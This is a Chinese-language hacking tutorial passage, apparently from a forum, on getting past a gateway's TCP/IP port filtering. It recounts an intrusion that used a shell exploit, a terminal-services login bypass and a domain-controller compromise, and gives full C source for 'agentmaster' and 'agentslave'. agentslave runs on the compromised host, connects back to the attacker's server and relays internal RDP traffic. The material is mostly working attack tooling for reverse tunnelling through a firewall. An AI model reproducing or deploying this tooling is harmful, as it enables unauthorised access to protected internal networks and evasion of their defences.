|
利用两次TCP SOCKET数据转发突破TCP/IP限制进入 -------------------------------------------------------------------------------- 事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹tcp端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下: 上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。 〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到internet,但我是网关的admin:)。 〈2〉敌人[其实是friend啦]的网关os是2k adv server,在外网网卡上做了tcp/ip限制,只开放了25,53,80,110,3306这几个tcp port,通过一个漏洞,我得到了一个shell,可以通过ie来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用tcp socket转发。和第一部分说的一样吗?有些不同。因为他做了tcp/ip限制,我们不能连接他,只能让他来连接我们了,tcp反弹端口,呵呵。 攻击流程如下: 〈1〉在我的服务器202.1.1.1运行agentmaster,监听tcp port 12345,等待202.2.2.2来连接,监听tcp port 3389,等待我192.168.0.2连接。 〈2〉在敌人网关机器202.2.2.2运行agentslave,连接到202.1.1.1 tcp port 12345[注意:是反弹端口,tcp/ip过滤也拿他没办法] 〈3〉我自己192.168.0.2用termclient连接到自己的服务器202.1.1.1:3389 〈4〉敌人网关上的agentslave连接到自己本身在内网的ip==〉192.168.1.1:3389 〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。 后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了tcp/ip过滤,攻击者没有办法进入。我只要把agentslave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。 程序代码如下[程序中所用到的tcpdataredird.c已经贴在第一部分,那个文件做数据转发,通用的: /****************************************************************************** module name:agentmaster.c date:2001/4/16 copyright(c) eyas 说明:scoket代理主控端,负责监听两个tcp socket,等待攻击者和agentslave来连接,两个 scoket都连接成功后,开始转发数据 sock[0]是client==〉sock[0] sock[1]是target==〉sock[1] ******************************************************************************/ #include 〈stdio.h〉 #include 〈winsock2.h〉 #include "tcpdataredird.c" #pragma comment(lib,"ws2_32.lib") #define targetport 3389//伪装的target的监听端口 #define localport 12345//等待agentslave来connect的端口 int main() { wsadata wsd; socket s3389=invalid_socket,//本机监听的socket,等待攻击者连接 s1981=invalid_socket,//监听的socket,等待agentslave来连接 sock[2]={invalid_socket,invalid_socket}; struct sockaddr_in local3389,local1981,attack,slave; int iaddrsize; handle hthreadc2t=null,//c2t=clienttotarget hthreadt2c=null;//t2c=targettoclient dword dwthreadid; __try { //load winsock library if(wsastartup(makeword(2,2),&wsd)!=0) { printf("\nwsastartup() failed:%d",getlasterror()); __leave; } //create socket s3389=socket(af_inet,sock_stream,ipproto_ip); if(s3389==invalid_socket) { printf("\nsocket() failed:%d",getlasterror()); __leave; } //create socket s1981=socket(af_inet,sock_stream,ipproto_ip); if(s1981==invalid_socket) { printf("\nsocket() failed:%d",getlasterror()); __leave; } //fill the struct local3389.sin_addr.s_addr=htonl(inaddr_any); local3389.sin_family=af_inet; local3389.sin_port=htons(targetport); local1981.sin_addr.s_addr=htonl(inaddr_any); local1981.sin_family=af_inet; local1981.sin_port=htons(localport); //bind s3389 for attacker if(bind(s3389,(struct sockaddr *)&local3389,sizeof(local3389))==socket_error) { printf("\nbind() failed:%d",getlasterror()); __leave; } //listen for attacker to connect if(listen(s3389,1)==socket_error) { printf("\nlisten() failed:%d",getlasterror()); __leave; } //bind s1981 for agentslave if(bind(s1981,(struct sockaddr *)&local1981,sizeof(local1981))==socket_error) { printf("\nbind() failed:%d",getlasterror()); __leave; } //listen for agentslave to connect if(listen(s1981,1)==socket_error) { printf("\nlisten() failed:%d",getlasterror()); __leave; } //socket循环 while(1) { //wait for agentslave to connect iaddrsize=sizeof(slave); sock[1]=accept(s1981,(struct sockaddr *)&slave,&iaddrsize); if(sock[1]==invalid_socket) { printf("\naccept() failed:%d",getlasterror()); break; } printf("\naccept agentslave==〉%s:%d",inet_ntoa(slave.sin_addr), ntohs(slave.sin_port)); //wait for attacker to connect iaddrsize=sizeof(attack); sock[0]=accept(s3389,(struct sockaddr *)&attack,&iaddrsize); if(sock[0]==invalid_socket) { printf("\naccept() failed:%d",getlasterror()); break; } printf("\naccept attacker==〉%s:%d",inet_ntoa(attack.sin_addr), ntohs(attack.sin_port)); //创建两个线程进行数据转发 hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid); hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid); //等待两个线程结束 waitforsingleobject(hthreadc2t,infinite); closehandle(hthreadc2t); closehandle(hthreadt2c); closesocket(sock[0]); closesocket(sock[1]); }//end of socket while }//end of try __finally { //clean all if(s3389!=invalid_socket) closesocket(s3389); if(s1981!=invalid_socket) closesocket(s1981); if(sock[0]!=invalid_socket) closesocket(sock[0]); if(sock[1]!=invalid_socket) closesocket(sock[1]); if(hthreadc2t!=null) closehandle(hthreadc2t); if(hthreadt2c!=null) closehandle(hthreadt2c); wsacleanup(); } return 0; } /*********************************************************************************** module:agentslave.c date:2001/4/17 copyright(c)eyas homepage:www.patching.net 说明:这个程序负责连接最终目标,连接主控端,然后转发数据 这里连接到agenrmaster的socket相当与sclient==〉sock[0], 连接到最终目标的socoket是starget==〉sock[1] ***********************************************************************************/ #include 〈stdio.h〉 #include 〈winsock2.h〉 #include "tcpdataredird.c" #pragma comment(lib,"ws2_32.lib") #define targetip "192.168.1.3" #define targetport (int)3389 #define agentmasterip "202.1.1.1" #define agentmasterport (int)12345 int main() { wsadata wsd; socket sock[2]={invalid_socket,invalid_socket}; struct sockaddr_in master,target; handle hthreadc2t=null,//c2t=clienttotarget hthreadt2c=null;//t2c=targettoclient dword dwthreadid; __try { //load winsock library if(wsastartup(makeword(2,2),&wsd)!=0) { printf("\nwsastartup() failed:%d",getlasterror()); __leave; } //循环 while(1) { //create client socket sock[0]=socket(af_inet,sock_stream,ipproto_ip); if(sock[0]==invalid_socket) { printf("\nsocket() failed:%d",getlasterror()); __leave; } //create target socket sock[1]=socket(af_inet,sock_stream,ipproto_ip); if(sock[1]==invalid_socket) { printf("\nsocket() failed:%d",getlasterror()); __leave; } //fill struct target.sin_family=af_inet; target.sin_addr.s_addr=inet_addr(targetip); target.sin_port=htons(targetport); master.sin_family=af_inet; master.sin_addr.s_addr=inet_addr(agentmasterip); master.sin_port=htons(agentmasterport); //connect to agentmaster if(connect(sock[0],(struct sockaddr *)&master,sizeof(master))==socket_error) { //连接失败后,等待一会儿再连 printf("\nconnect() to master failed:%d",getlasterror()); closesocket(sock[0]); closesocket(sock[1]); sleep(5000); continue; } printf("\nconnect to %s %d success!",agentmasterip,agentmasterport); //connect to target if(connect(sock[1],(struct sockaddr *)&target,sizeof(target))==socket_error) { printf("\nconnect() to target failed:%d",getlasterror()); __leave; } printf("\nconnect to %s %d success!",targetip,targetport); //创建两个线程进行数据转发 hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid); hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid); //等待两个线程结束 waitforsingleobject(hthreadc2t,infinite); closehandle(hthreadc2t); closehandle(hthreadt2c); closesocket(sock[0]); closesocket(sock[1]); }//end of while }//end of try __finally { if(sock[0]!=invalid_socket) closesocket(sock[0]); if(sock[1]!=invalid_socket) closesocket(sock[1]); if(hthreadc2t!=null) closehandle(hthreadc2t); if(hthreadt2c!=null) closehandle(hthreadt2c); wsacleanup(); } return 0; }
|
|
|